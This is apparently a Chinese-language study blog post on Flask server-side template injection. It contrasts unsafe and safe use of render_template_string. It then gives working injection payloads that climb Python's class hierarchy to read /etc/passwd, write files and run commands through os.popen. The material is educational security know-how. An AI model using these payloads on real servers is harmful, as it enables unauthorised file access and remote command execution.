关于flask的模板注入的学习
flask模板注入的学习
关于flask模版注入,之前不太理解,看了很多文章才弄懂,主要原理就是渲染函数的参数用户可控就造成了模板注入
就会使用户构造恶意的代码进行逃逸从而进行攻击
flask模板渲染函数
render_template('index.html') //渲染一个页面
index.html
<p>hello</p>
render_template_string('<p>hello</p>')//渲染一个字符串
上面这两个的效果是一样的
原理
id = request.args.get('id')//用户传参id html = ''' <h3>%s</h3> '''%(id) return render_template_string(html)
上面的id就可以逃逸出来
id = request.args.get('id') return render_template_string("<h3>{{s}}</h3>",s=id);
上面的id就无法逃逸,无论传入什么参数都会编码之后及进行显示
SSTI判断
一般我们是如何判断到底有没有ssti漏洞的呢?
一般我们使用{{2*4}}如果回显计算了为8则存在SSTI漏洞,如果回显很奇怪,那么可能是有过滤,也可以再进一步判断
SSTI的利用
一般我们是按照流程来的
先获取 ‘ 的类
"'".__class__
会回显 <class 'str'>
然后获取其基类
"'".__class__.__base__
会回显<class 'str'>, <class 'object'>
然后根据这个基类,找基类的引用,也就是一层的一层继承下来的类
"'".__class__.__bases__[0].__subclasses__()
会回显很多类大概这样
<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>,
<class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>,
<class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>,
<class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>,
<class 'generator'>
然后找到其中能用的类
什么是能用的类呢
比如<class `file`>就可以进行文件读写
"'".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
解释一下,这里的.mro和上面的base几乎一样
这样就可以读取/etc/passwd文件了
"'".__class__.__mro__[2].__subclasses__()[40]("/root/桌面/test.txt", "a").write("123")
这样就可以写文件了
然后我们接着走,这里介绍另一种<class 'os._wrap_close'>
像这种os的一般权限都很高
"'".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__
这一步解释一下,找到OS类然后初始化,找到其全局变量,也就是找哪个函数有漏洞
"'".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('cd /').read()
这是找到了popen函数,然后执行了命令cd /然后把执行的结果读出来了
总结
.__class__//找到类 .__mro__//找到基类 .__base__//同上 .__subclasses__()//找到基类的引用类 .__init__//初始化类 .__globals__//访问全局变量,找可利用函数
这是一些用到的方法
每一种模板用到的函数都不一样,读取的方法也不一样,上述仅针对于flask模板,不过思路都差不多